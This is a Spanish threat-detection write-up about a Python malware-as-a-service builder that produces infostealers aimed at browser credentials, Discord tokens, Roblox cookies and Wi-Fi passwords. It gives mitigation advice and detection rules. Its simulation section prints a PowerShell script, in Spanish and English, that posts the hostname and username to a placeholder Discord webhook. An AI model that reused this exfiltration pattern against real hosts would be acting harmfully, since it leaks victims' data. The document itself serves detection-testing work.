La Fábrica de Stealers: MaaS Potenciado por Python para Crear Infostealers
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Se ha identificado una nueva operación de Malware como Servicio (MaaS) que utiliza un generador basado en Python para crear cargas útiles de infostealer personalizadas. El generador permite a los operadores empaquetar malware como ejecutables de Windows a través de Nuitka o PyInstaller mientras integran configuraciones de webhook. Los ladrones resultantes tienen como objetivo credenciales de navegadores, tokens de Discord, cookies de Roblox y contraseñas de Wi-Fi almacenadas.
Investigación
Analistas examinaron un archivo anidado que contenía tanto el generador como una carga útil incrustada. La investigación encontró que el generador protege las URL de webhook usando codificación XOR y Base64 y puede instalar automáticamente las dependencias necesarias a través de pip.exe. La carga útil generada también implementa técnicas de anti-análisis, incluyendo detección de depuradores y comprobaciones de tamaño de disco diseñadas para identificar entornos de sandbox.
Mitigación
Las organizaciones deben monitorear la ejecución inesperada de pip.exe y la creación de tareas programadas sospechosas. Restringir el acceso a los directorios de datos de navegadores y detectar el uso no autorizado de comandos netsh puede reducir aún más la exposición. Mantener las soluciones de protección de endpoints actualizadas también es importante para identificar familias de malware basadas en Python que evolucionan rápidamente.
Respuesta
Cuando se detecta actividad maliciosa, aísle el endpoint afectado para detener la exfiltración de datos a través de webhooks controlados por atacantes. Revise las claves de ejecución del registro y las tareas programadas en busca de mecanismos de persistencia no autorizados. Analice la telemetría de red para detectar solicitudes HTTP POST inusuales dirigidas a endpoints de webhook desconocidos, recientemente observados o sospechosos.
Flujo de Ataque
Todavía estamos actualizando esta parte.
Detecciones
Posible uso de Schtasks o AT para persistencia (a través de cmdline)
Posibles Puntos de Persistencia [ASEPs – Colmena Software/NTUSER] (a través de cmdline)
Posible intento de comunicaciones de búsqueda de dominio IP (a través de DNS)
IOCs (HashMd5) para detectar: The Stealer Factory: Desempaquetando un Generador de Infostealer basado en Python como Servicio MaaS
Detección de presencia de depuradores y intentos de enumeración de perfiles Wi-Fi [Creación de procesos de Windows]
Solicitudes HTTP POST sospechosas a endpoints de webhook [Conexión de red de Windows]
Detección de ejecución inesperada de Pip e invocación de PyInstaller en el generador de malware de Python [Creación de procesos de Windows]
Ejecución de Simulación
-
Narrativa del Ataque y Comandos: Un adversario ha desplegado un infostealer ligero en una estación de trabajo de Windows. Para evitar la sobrecarga de gestionar un servidor C2 dedicado, el atacante utiliza un Webhook de Discord para exfiltrar metadatos del sistema (por ejemplo, nombre del host y nombre de usuario). El script realiza una solicitud HTTP POST a la API de Discord. Esta acción está diseñada para mezclarse con tráfico legítimo de desarrolladores o juegos mientras apunta específicamente a la
patrón de URI discordapp.com/api/webhooks, que la regla de detección está programada para marcar.Script de Prueba de Regresión: -
# Simulación de Exfiltración de Datos vía Webhook de Discord $webhookUrl = «https://discordapp.com/api/webhooks/test-id/test-token» $payload = @{ content = «Datos Exfiltrados: Hostname=$env:COMPUTERNAME, Usuario=$env:USERNAME» } | ConvertTo-Json Write-Host «[+] Simulando la Exfiltración de Webhook…» try { Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $payload -ContentType «application/json» Write-Host «[+] Comando de simulación enviado exitosamente.» } catch { Write-Host «[-] Comando enviado (Fallo esperado si la URL es falsa, pero la telemetría aún debería generarse): $_» }
# Simulation of Data Exfiltration via Discord Webhook $webhookUrl = "https://discordapp.com/api/webhooks/test-id/test-token" $payload = @{ content = "Exfiltrated Data: Hostname=$env:COMPUTERNAME, User=$env:USERNAME" } | ConvertTo-Json Write-Host "[+] Simulating Webhook Exfiltration..." try { Invoke-RestMethod -Uri $webhookUrl -Method Post -Body $payload -ContentType "application/json" Write-Host "[+] Simulation command sent successfully." } catch { Write-Host "[-] Command sent (Expected failure if URL is fake, but telemetry should still generate): $_" } -
Comandos de Limpieza:
# No se crearon archivos persistentes; no se requiere limpieza para esta simulación solo en memoria. Write-Host "[+] Limpieza completa: No quedan artefactos en el sistema."